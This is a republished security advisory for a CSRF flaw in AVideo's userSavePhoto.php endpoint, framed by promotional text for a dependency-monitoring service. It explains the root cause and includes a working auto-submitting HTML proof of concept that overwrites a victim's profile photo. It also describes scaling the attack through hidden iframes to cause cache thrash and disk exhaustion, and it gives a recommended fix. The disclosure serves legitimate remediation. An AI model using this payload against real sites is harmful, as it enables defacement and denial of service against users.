Open-Source Security Intelligence

Know every vulnerability
before it knows you.

DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.

Search

GHSA-jw8g-5j46-44rp

MediumCVSS 5.4 / 10
Published May 5, 2026·Last modified May 5, 2026
Affected Components(0)

No affected components available

Description

Summary

objects/userSavePhoto.php is a legacy profile-photo endpoint that accepts a base64 POST parameter and writes the decoded bytes to videos/userPhoto/photo<users_id>.png. Its only access control is User::isLogged(). It does not end in .json.php, so it is excluded from the project's global autoCSRFGuard (which is suffix-scoped in objects/include_config.php). There is no CSRF token, no Origin/Referer check, and no MIME validation of the decoded bytes. Because AVideo's default cookie policy is SameSite=None; Secure on HTTPS (objects/functionsPHP.php:227), an attacker who lures a logged-in user to a malicious page can overwrite that user's profile photo with arbitrary bytes and also triggers a site-wide clearCache(true) on every forged request.

Details

Handler (objects/userSavePhoto.php, 51 lines total):

// line 12 - only access control
if (!User::isLogged()) {
    $obj->msg = __("You must be logged");
    die(json_encode($obj));
}
// ...
// line 29 - unvalidated base64 from POST
$fileData = base64DataToImage($_POST['imgBase64']);
// line 30 - deterministic filename tied to the VICTIM's session
$fileName = 'photo'. User::getId().'.png';
$photoURL = $imagePath.$fileName;
// line 35 - raw bytes written to disk
$bytes = file_put_contents($global['systemRootPath'].$photoURL, $fileData);
// lines 43-48 - DB update + global cache invalidation unconditionally
$user = new User(User::getId());
$user->setPhotoURL($photoURL);
if ($user->save()) {
    User::deleteOGImage(User::getId());
    User::updateSessionInfo();
    clearCache(true);
}

base64DataToImage (objects/functionsImages.php:1026) performs no content validation:

function base64DataToImage($imgBase64) {
    $img = $imgBase64;
    $img = str_replace('data:image/png;base64,', '', $img);
    $img = str_replace(' ', '+', $img);
    return base64_decode($img);
}

There is no call to getimagesizefromstring, imagecreatefromstring, or MIME detection. Arbitrary bytes up to post_max_size are accepted.

Why the global CSRF guard does not apply. objects/include_config.php (around line 314) only invokes autoCSRFGuard when the script filename matches *.json.php:

if (... $_SERVER['REQUEST_METHOD'] === 'POST' &&
    substr($baseName, -9) === '.json.php') {
    autoCSRFGuard($baseName, $_SERVER['SCRIPT_FILENAME']);
}

userSavePhoto.php is missing the .json.php suffix, so neither autoCSRFGuard nor forbidIfIsUntrustedRequest runs. There is no explicit call to any of these in the file (verified by grep: no getCSRF, no forbidIfIsUntrustedRequest, no HTTP_ORIGIN, no HTTP_REFERER). Routing rewrites in .htaccess also expose this handler as /savePhoto.

Why the victim's cookie is sent cross-origin. objects/functionsPHP.php:227:

function _getCookieSameSiteValue($secure) {
    return $secure ? 'None' : 'Lax';
}

On HTTPS (the expected deployment), session cookies default to SameSite=None; Secure, which browsers attach to cross-site POSTs. A plain application/x-www-form-urlencoded form POST is a "simple request" under CORS rules and does not trigger a preflight, so the browser sends the POST and its cookie without the server having to opt in.

PoC

  1. Victim logs into the AVideo instance (e.g., https://victim.example.com). PHPSESSID is set with SameSite=None; Secure.
  2. Attacker hosts the following HTML on any domain:
<!doctype html>
<html><body>
<form id="f" action="https://victim.example.com/objects/userSavePhoto.php" method="POST">
  <!-- Any bytes: here, 'HELLO WORLD' base64-encoded -->
  <input name="imgBase64" value="SEVMTE8gV09STEQ=">
</form>
<script>document.forms[0].submit();</script>
</body></html>
  1. Victim visits the attacker page in the same browser. The form auto-submits. The browser sends the POST with the victim's session cookie.
  2. userSavePhoto.php passes the User::isLogged() check, decodes the base64, and writes the raw bytes to videos/userPhoto/photo<VICTIM_USERS_ID>.png. It also calls $user->save(), User::deleteOGImage(), User::updateSessionInfo(), and clearCache(true).
  3. Fetching https://victim.example.com/videos/userPhoto/photo<VICTIM_USERS_ID>.png (the file is now the attacker's bytes — HELLO WORLD in this test case). The response is 200 OK and the body equals the submitted bytes.

Replace the imgBase64 payload with a valid PNG to make the defacement visually persuasive, or with up to ~6 MB of any bytes to force a large write.

Impact

  • Integrity — profile defacement of any logged-in user. One click lets an attacker replace a victim's profile photo with arbitrary bytes: offensive imagery, misleading branding, or a clone of another user's photo for impersonation. The file path is deterministic (photo<users_id>.png), so the attacker can later direct others to the overwritten URL.
  • Availability — global cache thrash. Every successful forged request calls clearCache(true), invalidating application-wide caches. Repeatedly tricking logged-in users into visiting the attacker page (e.g., by including the payload as a hidden iframe on a popular site) produces sustained cache invalidation.
  • Availability — disk pressure. With no size cap beyond PHP's post_max_size (default 8 MB → ~6 MB after base64 decode), each forged submission writes a multi-megabyte file. Across many victims this enables distributed disk exhaustion.
  • No confidentiality impact and no code execution (files are served with Content-Type: image/png based on extension, so SVG-with-script payloads are not interpreted).
  • Related endpoints. objects/userSaveBackground.php exhibits the same pattern (same base64DataToImage sink, same lack of CSRF/Origin/MIME checks) and is exploitable identically; fix should be applied consistently.

Recommended Fix

Apply the existing same-origin guard that protects the *.json.php endpoints and add content validation. In objects/userSavePhoto.php, immediately after the login check:

require_once $global['systemRootPath'] . 'objects/functionsSecurity.php';
forbidIfIsUntrustedRequest('userSavePhoto');

$raw = $_POST['imgBase64'] ?? '';
if (strlen($raw) > 2 * 1024 * 1024) { // ~1.5 MB decoded cap
    $obj->msg = __('Image too large');
    die(json_encode($obj));
}
$fileData = base64DataToImage($raw);
if ($fileData === false || $fileData === '' || @imagecreatefromstring($fileData) === false) {
    $obj->msg = __('Invalid image');
    die(json_encode($obj));
}

The longer-term fix is to broaden the global guard in objects/include_config.php so that autoCSRFGuard covers every authenticated POST handler, not only those whose filenames end in .json.php — the current suffix-based gating is a footgun that silently excludes legacy endpoints like userSavePhoto.php and userSaveBackground.php. Also consider moving the clearCache(true) call inside the if ($bytes) branch so that zero-byte writes do not invalidate the global cache.

Risk Scores
Base Score
5.4

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. The attacker needs the user to perform some action, like clicking a link. The impact is confined to the system where the vulnerability exists. There is a low impact on the integrity of the data. There is a low impact on the availability of the system.

Threat Intelligence
5.0

Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.

EPSS
0.12%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

Browse More

Scan your project

Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.

Checkout DevGuard